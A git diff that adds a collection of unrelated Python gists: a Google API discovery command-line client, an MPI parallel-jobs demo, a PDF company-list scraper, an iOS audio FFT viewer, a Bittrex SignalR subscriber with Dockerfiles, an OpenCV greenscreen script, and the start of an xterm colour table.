+  return hasattr(sys, "frozen")
+
+def module_path():
+  """ This will get us the program's directory,
+  even if we are frozen using py2exe"""
+
+  if we_are_frozen():
+    return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding( )))
+  return os.path.dirname(unicode(__file__, sys.getfilesystemencoding( )))
+
+class cmd_flags(object):
+  def __init__(self):
+    self.short_url = False
+    self.noauth_local_webserver = False
+    self.logging_level = 'ERROR'
+    self.auth_host_name = 'localhost'
+    self.auth_host_port = [8080, 9090]
+
+def main(argv):
+  main_options, leftover_options = parseMainArgs(argv)
+  if main_options.debug:
+    httplib2.debuglevel = 4
+  if main_options.api == None or main_options.api_ver == None:
+    showPossibleAPIs()
+    return
+  discovery_object = buildDiscoveryObject(main_options.api, main_options.api_ver)
+  try:
+    split_resource = main_options.resource.split(u'.')
+    resource_object = discovery_object
+    for an_object in split_resource:
+      resource_object = resource_object[u'resources'][an_object]
+  except (KeyError, AttributeError):
+    if main_options.resource == None:
+      print 'ERROR: need to specify --resource <resource>. Possible resources are:'
+    else:
+      print 'ERROR: %s is not a valid resource. Possible resources are:' % main_options.resource
+    for resource in discovery_object['resources']:
+      if u'methods' in discovery_object[u'resources'][resource]:
+        print u' %s' % resource
+      elif u'resources' in discovery_object[u'resources'][resource]:
+        for subresource in discovery_object[u'resources'][resource][u'resources']:
+          print u' %s.%s' % (resource, subresource)
+    return
+  try:
+    method_object = resource_object['methods'][main_options.method]
+  except KeyError:
+    if main_options.method == None:
+      print 'ERROR: need to specify --method <method>. Possible methods are:'
+    else:
+      print 'ERROR: %s is not a valid method. Possible methods are:' % main_options.method
+    for method in resource_object['methods']:
+      print method
+    return
+  http = buildHttpObject(method_object, main_options.api, main_options.api_ver)
+  service = apiclient.discovery.build(main_options.api, main_options.api_ver, http=http)
+  resource_to_call = service
+  for a_resource in split_resource:
+    try:
+      resource_to_call = getattr(resource_to_call, a_resource)
+    except AttributeError:
+      resource_to_call = getattr(resource_to_call(), a_resource)
+  method_to_call = getattr(resource_to_call(), main_options.method)
+  url_options, still_leftover_options = parseUrlArgs(method_object=method_object, argv=leftover_options[1:])
+  body = parseBodyArgs(discovery_object, method_object, still_leftover_options)
+  if body:
+    url_options.body = {}
+    for key in body.keys():
+      if body[key] not in [None, u'']:
+        url_options.body[key] = body[key]
+  if main_options.media_body:
+    url_options.media_body = main_options.media_body
+  try:
+    result = method_to_call(**vars(url_options)).execute()
+  except apiclient.errors.HttpError, e:
+    print e.resp['status'], simplejson.loads(e.content)['error']['message']
+    return
+  except TypeError, e:
+    print e
+    return
+  if url_options.fields:
+    print result[url_options.fields]
+  else:
+    print simplejson.dumps(result, sort_keys=True, indent=2, separators=(',', ': '))
+
+if __name__ == '__main__':
+  main(sys.argv)
\ No newline at end of file
diff --git a/hard-gists/2c7b95beed642248487a/._snippet.py b/hard-gists/2c7b95beed642248487a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2c7b95beed642248487a/._snippet.py differ
diff --git a/hard-gists/2c7b95beed642248487a/snippet.py b/hard-gists/2c7b95beed642248487a/snippet.py
new file mode 100644
index 00000000..49266eae
--- /dev/null
+++ b/hard-gists/2c7b95beed642248487a/snippet.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+Simple script illustrating how to perform embarrassingly parallel computations
+in Python using MPI/mpi4py. I like this approach a lot as its very easy to get
+right without having to deal with the complications arising from forked
+processes which the multiprocessing module uses.
+
+This script can be executed with or without `mpirun`; it will just run on one
+core if not executed with it. With some more logic its also possible to make
+MPI/mpi4py completely optional.
+
+
+Run with (making sure MPI and mpi4py are installed):
+
+$ mpirun -n X python embarrassingly_parallel.py
+
+where X is the number of processes you want to run this on.
+
+
+The MIT License (MIT)
+
+Copyright (c) 2015 Lion Krischer
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+from mpi4py import MPI
+
+# Use default communicator. No need to complicate things.
+COMM = MPI.COMM_WORLD
+
+
+def split(container, count):
+    """
+    Simple function splitting a container into equal length chunks.
+
+    Order is not preserved but this is potentially an advantage depending on
+    the use case.
+    """
+    return [container[_i::count] for _i in range(count)]
+
+
+# Collect whatever has to be done in a list. Here we'll just collect a list of
+# numbers. Only the first rank has to do this.
+if COMM.rank == 0:
+    jobs = list(range(100))
+    # Split into however many cores are available.
+    jobs = split(jobs, COMM.size)
+else:
+    jobs = None
+
+# Scatter jobs across cores.
+jobs = COMM.scatter(jobs, root=0)
+
+# Now each rank just does its jobs and collects everything in a results list.
+# Make sure to not use super big objects in there as they will be pickled to be
+# exchanged over MPI.
+results = []
+for job in jobs:
+    # Do something meaningful here...
+    results.append(job ** 2)
+
+# Gather results on rank 0.
+results = MPI.COMM_WORLD.gather(results, root=0)
+
+if COMM.rank == 0:
+    # Flatten list of lists.
+    results = [_i for temp in results for _i in temp]
+
+    print("Results:", results)
diff --git a/hard-gists/2cb9c79df7a58db9e5ec/._snippet.py b/hard-gists/2cb9c79df7a58db9e5ec/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2cb9c79df7a58db9e5ec/._snippet.py differ
diff --git a/hard-gists/2cb9c79df7a58db9e5ec/snippet.py b/hard-gists/2cb9c79df7a58db9e5ec/snippet.py
new file mode 100644
index 00000000..0becfc29
--- /dev/null
+++ b/hard-gists/2cb9c79df7a58db9e5ec/snippet.py
@@ -0,0 +1,23 @@
+import pdftableextract as pdf
+import csv
+
+pages = [str(i) for i in range(1, 7)]
+cells = [pdf.process_page("./List_of_current_step_companies.pdf", p)
+         for p in pages]
+
+# fatten cells
+cells = [item for sublist in cells for item in sublist]
+
+# XXX: I'm not able to list the companies on page 6
+company_names = [col[-1] for col in cells if col[0] is 1]
+founders = [col[-1] for col in cells if col[0] is 2]
+email_ids = [col[-1] for col in cells if col[0] is 3]
+
+companies = zip(company_names, founders, email_ids)
+list_file = open('list.md', 'w')
+list_file.write("\n".join(company_names))
+list_file.close()
+
+with open("list.csv", "wb") as f:
+    writer = csv.writer(f)
+    writer.writerows(companies)
diff --git a/hard-gists/2cf4998949f49b58ff284239784e1561/._snippet.py b/hard-gists/2cf4998949f49b58ff284239784e1561/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2cf4998949f49b58ff284239784e1561/._snippet.py differ
diff --git a/hard-gists/2cf4998949f49b58ff284239784e1561/snippet.py b/hard-gists/2cf4998949f49b58ff284239784e1561/snippet.py
new file mode 100644
index 00000000..7d34987b
--- /dev/null
+++ b/hard-gists/2cf4998949f49b58ff284239784e1561/snippet.py
@@ -0,0 +1,68 @@
+from objc_util import *
+import ctypes
+import numpy as np
+import matplotlib.image
+import io,ui
+AVAudioEngine=ObjCClass('AVAudioEngine')
+AVAudioSession=ObjCClass('AVAudioSession')
+def setup():
+	error=ctypes.c_void_p(0)
+	session=AVAudioSession.sharedInstance()
+	category=session.setCategory('AVAudioSessionCategoryPlayAndRecord',error=ctypes.pointer(error))
+	if error:
+		raise Exception('error setting up category')
+	session.setActive(True, error=ctypes.pointer(error))
+	if error:
+		raise Exception('error setting up session active')
+	engine=AVAudioEngine.new()
+	return engine
+
+class fftview(ui.View):
+	def __init__(self,*args,**kwargs):
+		ui.View.__init__(self,*args,**kwargs)
+		self.i=ui.ImageView()
+		self.i.frame=self.bounds
+		self.i.flex='wh'
+		self.add_subview(self.i)
+		self.fps=ui.Label()
+		self.add_subview(self.fps)
+		self.fps.text=''
+	def update(self,im):
+		self.i.image=im
+	@ui.in_background
+	def will_close(self):
+		print('stopping engine')
+		engine.pause()
+v=fftview(frame=(0,0,500,500))
+
+'''setup a tap block'''
+buf=[] #for debugging
+bIO=io.BytesIO()
+lastt=0
+def processBuffer(self,buffer,when, cmd):
+	global buf, lastt
+	buf=ObjCInstance(buffer )
+	t=ObjCInstance(when).sampleTime()/44100.
+	fps=1./(t-lastt)
+	lastt=t
+	v.fps.text='fps{}'.format(fps)
+	A=np.ctypeslib.as_array(buf.floatChannelData()[0],(128,128))
+	B=np.transpose(np.log10(np.fft.fftshift(abs(np.fft.fft(A,512)))))
+	matplotlib.image.imsave(bIO,B,format='png',vmin=-3,vmax=1)
+	v.update(ui.Image.from_data(bIO.getvalue()))
+	bIO.seek(0)
+process_block=ObjCBlock(processBuffer,restype=None,argtypes=[c_void_p,c_void_p,c_void_p,c_void_p])
+
+'''set up audio engine, and install tap, and start'''
+engine=setup()
+engine.connect_to_format_(engine.inputNode(),
+									engine.outputNode(),
+									engine.inputNode().inputFormatForBus_(0))
+
+engine.inputNode().installTapOnBus(0,
+					bufferSize=64*256,
+					format=None,
+					block=process_block)
+
+v.present('sheet')
+engine.startAndReturnError_(None)
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/._snippet.py b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/._snippet.py differ
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.7 b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.7
new file mode 100644
index 00000000..e9071ca9
--- /dev/null
+++ b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.7
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","signalr==v5.0.8"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.8 b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.8
new file mode 100644
index 00000000..f8d6e397
--- /dev/null
+++ b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/Dockerfile-llm-3.8
@@ -0,0 +1,10 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.7.txt b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.7.txt
new file mode 100644
index 00000000..c92fe7dc
--- /dev/null
+++ b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.7.txt
@@ -0,0 +1 @@
+0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.6, 0.10.7, 0.10.8, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.8.0, 2.12.0, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.14.0, 2.14.1, 2.14.2, 2.15.1, 2.16.0, 2.16.1, 2.16.2, 2.16.3, 2.16.4, 2.16.5, 2.17.0, 2.17.1, 2.17.2, 2.17.3, 2.18.0, 2.18.1, 2.18.2, 2.18.3, 2.18.4, 2.19.0, 2.19.1, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.26.0, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.2, 2.32.3, 2.32.4, 2.32.5, 2.33.0, 2.33.1
\ No newline at end of file
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.8.txt b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.8.txt
new file mode 100644
index 00000000..c92fe7dc
--- /dev/null
+++ b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/requests_3.8.txt
@@ -0,0 +1 @@
+0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.6, 0.10.7, 0.10.8, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.8.0, 2.12.0, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.14.0, 2.14.1, 2.14.2, 2.15.1, 2.16.0, 2.16.1, 2.16.2, 2.16.3, 2.16.4, 2.16.5, 2.17.0, 2.17.1, 2.17.2, 2.17.3, 2.18.0, 2.18.1, 2.18.2, 2.18.3, 2.18.4, 2.19.0, 2.19.1, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.26.0, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.2, 2.32.3, 2.32.4, 2.32.5, 2.33.0, 2.33.1
\ No newline at end of file
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/signalr_3.7.txt b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/modules/signalr_3.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/snippet.py b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/snippet.py
new file mode 100644
index 00000000..972a4f27
--- /dev/null
+++ b/hard-gists/2d4a4a8be57a9b8e94c7a4903d8d8bf8/snippet.py
@@ -0,0 +1,28 @@
+from requests import Session  # pip install requests
+from signalr import Connection  # pip install signalr-client
+
+def handle_received(**kwargs):
+    print('received', kwargs)
+
+def print_error(error):
+    print('error: ', error)
+
+    
+def main():
+    with Session() as session:
+        connection = Connection("https://www.bittrex.com/signalR/", session)
+        chat = connection.register_hub('corehub')
+        connection.start()
+
+        connection.received += handle_received
+        connection.error += print_error
+
+        for market in ["BTC-MEME", "BTC-ANS"]:
+            chat.server.invoke('SubscribeToExchangeDeltas', market)
+            chat.server.invoke('QueryExchangeState', market)
+
+        while True:
+            connection.wait(1)
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/._snippet.py b/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/._snippet.py differ
diff --git a/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/snippet.py b/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/snippet.py
new file mode 100644
index 00000000..776ba818
--- /dev/null
+++ b/hard-gists/2d6bbffce9dda5f3057b4879c3bd4422/snippet.py
@@ -0,0 +1,277 @@
+#! /usr/bin/env python
+'''
+greenscreen.py:  Greenscreen effect without a physical green screen
+This performs background subtraction, and sets the background to "green" for use with "key frame" video editing software
+Author: Scott Hawley, https://github.com/drscotthawley
+
+
+Requirements:
+Python, NumPy and OpenCV
+I got these via Macports, but Homebrew, etc. work.  
+Note that on Mac OS X El Capitan, OpenCV > 3.0 causes code to crash after ~30 seconds.  I had to install OpenCV 3.0 by hand.
+
+
+Credits:
+Built from Tutorial "Getting Started with Videos"
+http://docs.opencv.org/3.0-beta/doc/py_tutorials/py_gui/py_video_display/py_video_display.html
+
+Background-subtraction tutorials were of minimal utility and effectiveness, IMHO.  Developed
+   my own foreground masking method for this
+
+De-noising: http://docs.opencv.org/master/d5/d69/tutorial_py_non_local_means.html#gsc.tab=0
+
+Cropping: http://www.pyimagesearch.com/2015/03/09/capturing-mouse-click-events-with-python-and-opencv/
+
+Time-averaging tutorial (not actually a great effect for this, but I left it in the code): 
+       https://opencvpython.blogspot.com/2012/07/background-extraction-using-running.html
+'''
+
+import numpy as np
+import cv2
+import sys
+
+source = 0   					# defaults to local (laptop) camera
+
+if len(sys.argv) > 1:
+	if ('-h' == sys.argv[1]) or ('--help'==sys.argv[1]):
+		print "usage: greenscreen.py [-h,--help] [input_file]"
+		print "   If input_file is blank, defaults to live camera capture"
+		sys.exit()
+	source = sys.argv[1]
+
+cap = cv2.VideoCapture(source)    # Start the video source
+
+ret, ref_img = cap.read()         # read background image
+
+if (False == ret):
+	print "Unable to get any images.  Is the camera already in use?"
+	sys.exit()
+
+
+# setup for reading & writing movie files
+if (source !=0):                   
+	fourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')
+	video_out = cv2.VideoWriter()
+	frame_shape = (ref_img.shape[1],ref_img.shape[0])
+	success = video_out.open('greenscreen_movie_post.mp4v',fourcc, 15.0, frame_shape,True)
+
+
+# initializing background arrays
+green_img = np.zeros(ref_img.shape, np.uint8)
+fgmask = np.zeros(ref_img.shape, np.uint8)
+green_img[:] = (0, 255, 0)
+orig_ref = ref_img
+orig_green = green_img
+result = ref_img 
+
+
+# this is for automatically setting corners of frame to background
+gray_shape = (ref_img.shape[0],ref_img.shape[1])
+bg_edges = np.zeros(gray_shape, np.uint8)
+# storage format is y,x, color
+edge_size_x = bg_edges.shape[1]/8
+edge_size_y = bg_edges.shape[0]/4
+bg_edges[0:edge_size_y,0:edge_size_x] = 255
+bg_edges[0:edge_size_y,-edge_size_x:] = 255
+bg_edges[-edge_size_y:,0:edge_size_x] = 255
+bg_edges[-edge_size_y:,-edge_size_x:] = 255
+
+
+avg1 = np.float32(ref_img)   # time-averaging array
+
+
+
+'''
+find_fgmask: Finds the 'foregound mask', i.e. where the foreground objects are
+Author: Scott Hawley
+It doesn't use any especially clever algorithm (e.g., no BGMOG), just the fruits
+of significant trial-and-error on my part, for what seems to work best
+
+Warning: de-noising is slow, and best suited for post-processing only
+'''
+def find_fgmask(img,ref_img,thresh=13.0,use_denoise=False,h=10.0):
+	diff1 = cv2.subtract(img,ref_img)
+	diff2 = cv2.subtract(ref_img,img)
+	diff = diff1+diff2 
+	
+	sws = int(   np.ceil(21*h/10) // 2 * 2 + 1 )
+	diff[ abs(diff) < thresh] = 0
+	gray = cv2.cvtColor(diff.astype(np.uint8), cv2.COLOR_BGR2GRAY)
+	gray[np.abs(gray) < 10] = 0
+	if (use_denoise):		
+		cv2.fastNlMeansDenoising(gray,gray,h=h,templateWindowSize=5,searchWindowSize=sws)
+	fgmask = gray.astype(np.uint8)
+	fgmask[ fgmask >0] = 255
+	return fgmask 
+
+
+
+# Cropping stuff
+refPt = []
+setting_cropping = False
+def click_and_crop(event, x, y, flags, param):
+	# grab references to the global variables
+	global refPt, cropping
+
+	# if the left mouse button was clicked, record the starting
+	# (x, y) coordinates and indicate that cropping specification is being
+	# performed
+	if event == cv2.EVENT_LBUTTONDOWN:
+		refPt = [(x, y)]
+		setting_cropping = True
+
+	# check to see if the left mouse button was released
+	elif event == cv2.EVENT_LBUTTONUP:
+		# record the ending (x, y) coordinates and indicate that
+		# the cropping operation is finished
+		refPt.append((x, y))
+		setting_cropping = False
+
+		# draw a rectangle around the region of interest
+		cv2.rectangle(result, refPt[0], refPt[1], (255, 255, 0), 2)
+		cv2.imshow("frame", result)
+
+
+cv2.namedWindow("frame")
+cv2.setMouseCallback("frame", click_and_crop)  # register mouse events
+
+
+print "Controls:"
+print "D = difference image: take reference image & subtract"
+print "C = clear settings: clear reference image, denoising"
+print "T = toggle time averaging (probably don't want to use this)"
+print "K = toggle crop (Draw box with mouse first, then press K)"
+print "N = toggle de-noising (slow)"
+print "Up/Down arrows = threshold for foreground: more/less green"
+print "Left/Right arrows = size of denoising kernel: less/more noise"
+print "Q = quit"
+
+# control parameters
+use_diff = True 
+use_time_avg = False
+use_denoise = False
+denoise_h = 10.0
+use_cropping = False
+thresh = 13.0
+already_pressed_clear = False
+use_edges = False
+
+
+
+# Main Loop
+while(1):
+	ret, img = cap.read()
+	if (False==ret):   # end of video capture
+		print "Saving and terminating"
+		break
+
+	# crop first, for speed
+	if (use_cropping) and (len(refPt)==2):
+		cropped_img = img[refPt[0][1]:refPt[1][1], refPt[0][0]:refPt[1][0]]	
+		img = cropped_img	
+		if (img.shape[0] < ref_img.shape[0]) and (img.shape[1] < ref_img.shape[1]):
+			cropped = ref_img[refPt[0][1]:refPt[1][1], refPt[0][0]:refPt[1][0]]
+			ref_img = cropped
+		if (img.shape[0] < green_img.shape[0]) and (img.shape[1] < green_img.shape[1]):
+			cropped = green_img[refPt[0][1]:refPt[1][1], refPt[0][0]:refPt[1][0]]
+			green_img = cropped
+		if (img.shape[0] < avg1.shape[0]) and (img.shape[1] < avg1.shape[1]):
+			avg1 = np.float32(ref_img)
+
+	result = img 
+
+	if (use_time_avg):
+		cv2.accumulateWeighted(img,avg1,0.09)
+		img = cv2.convertScaleAbs(avg1)
+
+	if (use_diff):
+		fgmask = find_fgmask(img,ref_img,thresh=thresh,use_denoise=use_denoise,h=denoise_h)
+		bgmask = cv2.bitwise_not(fgmask)
+
+		if (use_edges):
+			bgmask = cv2.bitwise_or(bgmask,bg_edges)
+			fgmask = cv2.bitwise_not(bgmask)
+
+		fgimg = cv2.bitwise_and(img,img,mask = fgmask)
+		bgimg = cv2.bitwise_and(green_img,green_img,mask = bgmask)
+
+		sum = cv2.add(fgimg, bgimg)
+		result = sum
+
+	# if there's a cropping rectangle drawn, keep showing the rectangle
+	if ((2==len(refPt)) and (not use_cropping)):
+		cv2.rectangle(result, refPt[0], refPt[1], (255, 255, 0), 2)
+
+	cv2.imshow('frame',sum)
+	if (0!=source):
+		video_out.write(result)
+	# if there's a cropping rectangle drawn, keep showing the rectangle
+	if ((2==len(refPt)) and (not use_cropping)):
+		cv2.rectangle(result, refPt[0], refPt[1], (255, 255, 0), 2)
+
+
+
+	key = cv2.waitKey(1) & 0xFF
+	if ord('q') == key:
+		break
+	elif ord('d') == key:			# take & use difference image
+		use_diff = True
+		ref_img = img
+	elif ord('e') == key:    		# add extra green to corners
+		use_edges = not use_edges
+	elif key == ord('t'): 			# toggle time-averaging
+		use_time_avg = not use_time_avg
+		avg1 = np.float32(img)
+	elif key == ord('c'): # clear button
+		print "already_pressed_clear = ",already_pressed_clear
+		if (already_pressed_clear):
+			use_diff = use_diff_save
+			use_time_avg = use_time_avg_save
+			use_denoise = use_denoise_save
+			denoise_h = denoise_h_save
+			thresh = thresh_save
+			already_pressed_clear = False 
+		else:
+			use_diff_save = use_diff
+			use_denoise_save = use_denoise
+			use_time_avg_save = use_time_avg
+			denoise_h_save = denoise_h
+			thresh_save = thresh
+			already_pressed_clear = True
+			use_diff = False 
+			use_time_avg = False
+			use_denoise = False
+			denoise_h = 10.0
+			thresh = 13.0
+
+	elif key == ord('n'): # toggle denoising (slow)
+		use_denoise = not use_denoise
+		if (use_denoise):
+			denoise_h = 10.0
+		else:
+			denoise_h = 0.0
+	elif (key == ord('k')) and (2==len(refPt)):  # cropping
+		use_cropping = not use_cropping
+		if (not use_cropping):
+			ref_img = orig_ref
+			green_img = orig_green
+			avg1 = np.float32(ref_img)	 
+	elif key == 0:  # up arrow
+		thresh *= 1.1     # increase difference threshold = more green
+	elif key == 1:  # down arrow
+		thresh /= 1.1
+	elif key == 2:  # left arrow
+		denoise_h /= 1.1  # increase both denoising weight and kernel 
+	elif key == 3:  # right arrow
+		denoise_h *= 1.1
+
+
+
+# Main Loop has finished, shutting down
+
+if source != 0:				# close & release any output file
+	video_out.release()
+	video_out = None 
+
+cap.release()				# release the camera
+cv2.destroyAllWindows()
diff --git a/hard-gists/2d971a5a087881a966c3/._snippet.py b/hard-gists/2d971a5a087881a966c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2d971a5a087881a966c3/._snippet.py differ
diff --git a/hard-gists/2d971a5a087881a966c3/snippet.py b/hard-gists/2d971a5a087881a966c3/snippet.py
new file mode 100644
index 00000000..c41be7f1
--- /dev/null
+++ b/hard-gists/2d971a5a087881a966c3/snippet.py
@@ -0,0 +1,408 @@
+#!/usr/bin/env python3
+import sys
+import getopt
+from PIL import Image
+
+xterm256colors = [ # http://pln.jonas.me/xterm-colors
+	(0, (0x00, 0x00, 0x00)), # SYSTEM
+	(1, (0x80, 0x00, 0x00)), # SYSTEM
+	(2, (0x00, 0x80, 0x00)), # SYSTEM
+	(3, (0x80, 0x80, 0x00)), # SYSTEM
+	(4, (0x00, 0x00, 0x80)), # SYSTEM
+	(5, (0x80, 0x00, 0x80)), # SYSTEM
+	(6, (0x00, 0x80, 0x80)), # SYSTEM
+	(7, (0xc0, 0xc0, 0xc0)), # SYSTEM
+	(8, (0x80, 0x80, 0x80)), # SYSTEM
+	(9, (0xff, 0x00, 0x00)), # SYSTEM
+	(10, (0x00, 0xff, 0x00)), # SYSTEM
+	(11, (0xff, 0xff, 0x00)), # SYSTEM
+	(12, (0x00, 0x00, 0xff)), # SYSTEM
+	(13, (0xff, 0x00, 0xff)), # SYSTEM
+	(14, (0x00, 0xff, 0xff)), # SYSTEM
+	(15, (0xff, 0xff, 0xff)), # SYSTEM
+	(16, (0x00, 0x00, 0x00)), # Grey0
+	(17, (0x00, 0x00, 0x5f)), # NavyBlue
+	(18, (0x00, 0x00, 0x87)), # DarkBlue
+	(19, (0x00, 0x00, 0xaf)), # Blue3
+	(20, (0x00, 0x00, 0xd7)), # Blue3
+	(21, (0x00, 0x00, 0xff)), # Blue1
+	(22, (0x00, 0x5f, 0x00)), # DarkGreen
+	(23, (0x00, 0x5f, 0x5f)), # DeepSkyBlue4
+	(24, (0x00, 0x5f, 0x87)), # DeepSkyBlue4
+	(25, (0x00, 0x5f, 0xaf)), # DeepSkyBlue4
+	(26, (0x00, 0x5f, 0xd7)), # DodgerBlue3
+	(27, (0x00, 0x5f, 0xff)), # DodgerBlue2
+	(28, (0x00, 0x87, 0x00)), # Green4
+	(29, (0x00, 0x87, 0x5f)), # SpringGreen4
+	(30, (0x00, 0x87, 0x87)), # Turquoise4
+	(31, (0x00, 0x87, 0xaf)), # DeepSkyBlue3
+	(32, (0x00, 0x87, 0xd7)), # DeepSkyBlue3
+	(33, (0x00, 0x87, 0xff)), # DodgerBlue1
+	(34, (0x00, 0xaf, 0x00)), # Green3
+	(35, (0x00, 0xaf, 0x5f)), # SpringGreen3
+	(36, (0x00, 0xaf, 0x87)), # DarkCyan
+	(37, (0x00, 0xaf, 0xaf)), # LightSeaGreen
+	(38, (0x00, 0xaf, 0xd7)), # DeepSkyBlue2
+	(39, (0x00, 0xaf, 0xff)), # DeepSkyBlue1
+	(40, (0x00, 0xd7, 0x00)), # Green3
+	(41, (0x00, 0xd7, 0x5f)), # SpringGreen3
+	(42, (0x00, 0xd7, 0x87)), # SpringGreen2
+	(43, (0x00, 0xd7, 0xaf)), # Cyan3
+	(44, (0x00, 0xd7, 0xd7)), # DarkTurquoise
+	(45, (0x00, 0xd7, 0xff)), # Turquoise2
+	(46, (0x00, 0xff, 0x00)), # Green1
+	(47, (0x00, 0xff, 0x5f)), # SpringGreen2
+	(48, (0x00, 0xff, 0x87)), # SpringGreen1
+	(49, (0x00, 0xff, 0xaf)), # MediumSpringGreen
+	(50, (0x00, 0xff, 0xd7)), # Cyan2
+	(51, (0x00, 0xff, 0xff)), # Cyan1
+	(52, (0x5f, 0x00, 0x00)), # DarkRed
+	(53, (0x5f, 0x00, 0x5f)), # DeepPink4
+	(54, (0x5f, 0x00, 0x87)), # Purple4
+	(55, (0x5f, 0x00, 0xaf)), # Purple4
+	(56, (0x5f, 0x00, 0xd7)), # Purple3
+	(57, (0x5f, 0x00, 0xff)), # BlueViolet
+	(58, (0x5f, 0x5f, 0x00)), # Orange4
+	(59, (0x5f, 0x5f, 0x5f)), # Grey37
+	(60, (0x5f, 0x5f, 0x87)), # MediumPurple4
+	(61, (0x5f, 0x5f, 0xaf)), # SlateBlue3
+	(62, (0x5f, 0x5f, 0xd7)), # SlateBlue3
+	(63, (0x5f, 0x5f, 0xff)), # RoyalBlue1
+	(64, (0x5f, 0x87, 0x00)), # Chartreuse4
+	(65, (0x5f, 0x87, 0x5f)), # DarkSeaGreen4
+	(66, (0x5f, 0x87, 0x87)), # PaleTurquoise4
+	(67, (0x5f, 0x87, 0xaf)), # SteelBlue
